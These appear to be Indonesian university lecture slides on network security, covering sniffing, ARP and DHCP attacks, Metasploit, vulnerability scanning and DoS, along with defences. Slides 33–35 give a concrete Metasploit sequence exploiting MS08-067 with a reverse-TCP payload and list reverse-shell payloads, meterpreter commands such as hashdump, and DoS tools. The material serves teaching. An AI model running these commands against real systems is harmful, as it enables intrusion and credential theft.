Recommended
More Related Content
What's hot
What's hot (20)
Similar to Keamanan Jaringan Sniffing
Similar to Keamanan Jaringan Sniffing (20)
More from Setia Juli Irzal Ismail
More from Setia Juli Irzal Ismail (20)
Recently uploaded
Recently uploaded (20)
Keamanan Jaringan Sniffing
- 1. 1 Keamanan Jaringan 22. Sniffing Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 3. 3 SNIFFING • Sniffing merupakan usaha untuk membaca dan menganalisa paket yang lewat di jaringan menggunakan program packet sniffing • Mengendus • penyadapan 3
- 4. 4 Sniffing - Teori •Mesin yang terhubung ke jaringan dapat mendengarkan semua paket/data di jaringan •Promiscuous Mode •Network Interface menangkap semua data •Termasuk data yang tidak ditujukan kepadanya 4
- 5. 5 Paket/Data yang ditangkap • Trafik Syslog • Trafik Web • Email • Dll • Satu Jaringan / LAN 1. Data 2. Username 3. Password 4. Credit card 5 ekstrak
- 6. 6 Protokol target • http • Pop • IMAP • SMTP • NMTP • FTP • Telnet • Rlogin • dll 6
- 7. 7 Keamanan Jaringan 23. Teknik Sniffing Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 8. 8 Hardware Protocol Analyzer • Perangkat monitoring jaringan 8
- 9. 9 • SPAN Port pada router Cisco • Mirroring semua paket 9 SPAN Port Cisco
- 10. 10 Teknik Sniffing • ARP Spoofing • MAC Flooding • DNS Poisoning • DHCP starvation attack • Switch Port Stealing • dll 10
- 11. 11 • Membanjiri Switch dengan alamat MAC palsu • Tabel CAM : Mapping MAC --> Port • Broadcast • Tools: Macof, Dsniff • Defend: Fitur Cisco Port Security, membatasi Mac Address pd port 11/ Mac Flooding
- 12. 12 • Membanjiri DHCP Server dgn DHCP request • Korban tidak dapat IP • Rogue DHCP/ DHCP palsu • Tools: gobbler, dhcpstarv, yersinia • Defend: fitur Port Security, fitur DHCP Snooping 12 DHCP Starvation Attack
- 13. 13 Keamanan Jaringan 24. ARP Spoofing Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 14. 14 • Merubah tabel ARP pada switch • Menyadap paket yang ditujukan ke komputer korban • Tools: Cain & Abel, WinARP attacker, Ufasoft Sniff • Defend:Dynamic ARP Inspection, (DHCP Snooping) • Deteksi: XArp 14 ARP Spoofing
- 15. 15 • Merubah MAC , Cloning MAC • Tools: SMAC • Defend: DHCP Snooping Binding Table, Dynamic ARP Inspection, IP source guard, Enkripsi • DNS Poisoning: Merubah DNS • Trafik Internet diarahkan ke web palsu • Defend: DNSSec, SSL, Tabel Static ARP & IP, Enkripsi 15 MAC Spoofing
- 17. 17 • Wireshark • SteelCentral Packet Analyzer • TCPdump/Windump • Capsa Network Analyzer • OmniPeek Network Analyzer • Observer • Sniff-O-Matic • Colasoft Packet Builder • RSA NetWitness Investigator • Wi.Cap Network Sniffer Pro • FaceNiff 17 Tools Monitoring Trafik Jaringan
- 18. 18 •Nmap •Promqry UI •IDS •HP Performance Insight 18 Deteksi Sniffing
- 19. 19 Keamanan Jaringan 25. Metasploit Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 20. 20 • HD Moore • Defcon 12 – 2004 • exploit frameworks • Tools untuk menguji keamanan sistem • http://www.metasploit.com 20 Hacking Like in the movies
- 21. 21 • Vulnerabilities celah keamanan yang dapat dieksploitasi • exploit script/kode yang kita kirimkan ke komputer target utk memudahkan kita memasang payload • payload scripts yang kita gunakan untuk menjalankan berbagai perintah di komputer target. 21 Glossary
- 22. 22 Langkah • Scanning à celah keamanan • Pilih sebuah Target • Pilih sebuah Exploit • Pilih sebuah Payload • Jalankan exploit 22
- 23. 23 Payload • Menambahkan user baru • Memasang backdoors, • Menginstall sebuah aplikasi baru pada komputer target • Mematikan komputer 23
- 24. 24 Setiap Sistem Unik • Beda operating systems (OS), beda exploit • Sistem operasi sama tapi beda services, dan proces dibutuhkan serangan yang berbeda • Perlu memasang exploit yang pas dengan vulnerabilities 24
- 25. 25 Keamanan Jaringan 26.Mencari Celah Keamanan Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 26. 26 • Mencari celah keamanan • Nessus atau “Nmap --script vuln” • Daftar celah keamanan atau patch yang belum dipasang • Tingkatan Celah keamanan • Critical • High • Medium • low26 Mencari Celah Keamanan
- 27. 27 • remote access • Secure shell (SSH) • Telnet • file transfer protocol (FTP) • PCAnywhere • virtual network computing (VNC) 27 Target
- 28. 28 • Contoh Vulnerability hasil scanning dgn nmap • Ditemukan celah keamanan CVE-2011- 3192 28
- 29. 29 • Critical • MS08-067 • MS09-001 29 Nessus
- 30. 30 Database Celah Keamanan • Common Vulnerabilities and Exposures (CVE), • Open Source Vulnerability Database (OSVDB) • Insecure.org • Microsoft patch MS08-067 has not been installed on the target machine. • missing Microsoft patch MS09-001 30
- 31. 31 Keamanan Jaringan 27. Payload Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 32. 32 • msfconsole : • number of exploits, • payloads, • encoders, • msfupdate • search ms08-067 32 Msfconsole
- 33. 33 • use exploit/windows/smb/ms08_067_netapi • show payloads • set payload windows/vncinject/reverse_tcp • set RHOST 192.168.18.131 : RHOST alamat IP Target • set LHOST 192.168.18.130 : LHOST (local host) alamat IP Penyerang • show options • exploit 33 Pilih Payload
- 34. 34 1. Jalankan Metasploit melalui terminal : msf> msfconsole 2. Jalankan perintah “search” untuk mencari exploits yang sesuai dengan celah keamanan pada komputer target msf> search cve (celah keamanan)/service yg tersedia 3. Gunakan perintah “use” untuk memilih exploit 4. msf> use exploit_name 5. Gunakan perintah “show payloads” untuk menampolkan payload yang bisa digunakan 6. msf> show payloads 34 Langkah penyerangan
- 35. 35 7. Gunakan perintah “set” untuk memilih payload: msf> set nama_payload 8. Gunakan perintah “show options” untuk menampilkan pilihan yang tersedia msf> show options 9. Jalankan perintah “set” untuk memilih opsi yang tersedia 10. msf> set pilihan_opsi 11. Jalankan perintah “exploit” untuk menjalankan exploit 12. msf> “exploit” 35 Langkah memilih payload
- 36. 36 Jenis Payload • Windows/adduser • Windows/exec • Windows/shell_bind_tcp • Windows/shell_reverse_tcp • Windows/meterpreter/bind_tcp • Windows/Meterpreter/reverse_tcp • Windows/vncinject/bind_tcp • Windows/vncinject/reverse_tcp • Tambah user • Jalankan file .exe • Menjalankan shell di komputer target • installs meterpreter • Install vnc 36
- 37. 37 Meterpreter • Windows cmd.exe; Linux /bin/sh • migrate • cat • download • upload • edit • execute • Kill • cd”, • “ls”, • “ps”, • “shutdown”, • “mkdir”, • “pwd”, • “ifconfig” • hashdump 37
- 38. 38 Keamanan Jaringan 28. DoS Attack Setia Juli Irzal Ismail D3 Teknologi Komputer – Fakultas Ilmu Terapan Telkom University.
- 39. 39 • serangan dengan cara menghabiskan sumber daya (resource) • tidak dapat menjalankan fungsinya dengan benar • Lemot/ down • Availability • Caranya: membanjiri dengan data 39 Denial of Service
- 40. 40 Jenis DoS • Bandwidth Flooding • Syn Flooding • Icmp Flooding • Peer-to-peer Attack • Application level Flood Attack • Permanen DoS Attack • Distributed Reflection DoS (DrDoS) 40
- 41. 41 • Pandora Toolkit • Dereil, Hoic • DosHttp, BanglaDos • Andosid • LOIC 41 Tools Dos
- 42. 42 • Distributed Denial of Service • Serangan DoS secara serentak, bersama-sama, terkoordinir • Banyak penyerang • Satu Target • Botnet • Blackshades NET,Chytosia Botnet, AndromedaBot, PlugBot, 42 DDoS
- 43. 43 • Penambahan Resource à load balancing • Matikan Layanan • Alihkan Trafik à Honeypot • Drop request • Firewall • IDS 43 Penanganan DoS
- 45. 45 Buku Bacaan Wajib (BW) Engebretson, P. (2011). The Basic of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy. Syngress. Stallings, W. (2010). Network Security Essentials:Applications and Standards 4th Edition. Prentice Hall. Buku Bacaan Anjuran (BA) Harris, S. (2010). CISSP All in One Exam Guide, 5th Edition. McGraw Hill. Walker, M. (2010). CEH Certified Ethical Hacker All-in-One. McGraw Hill. 45 Referensi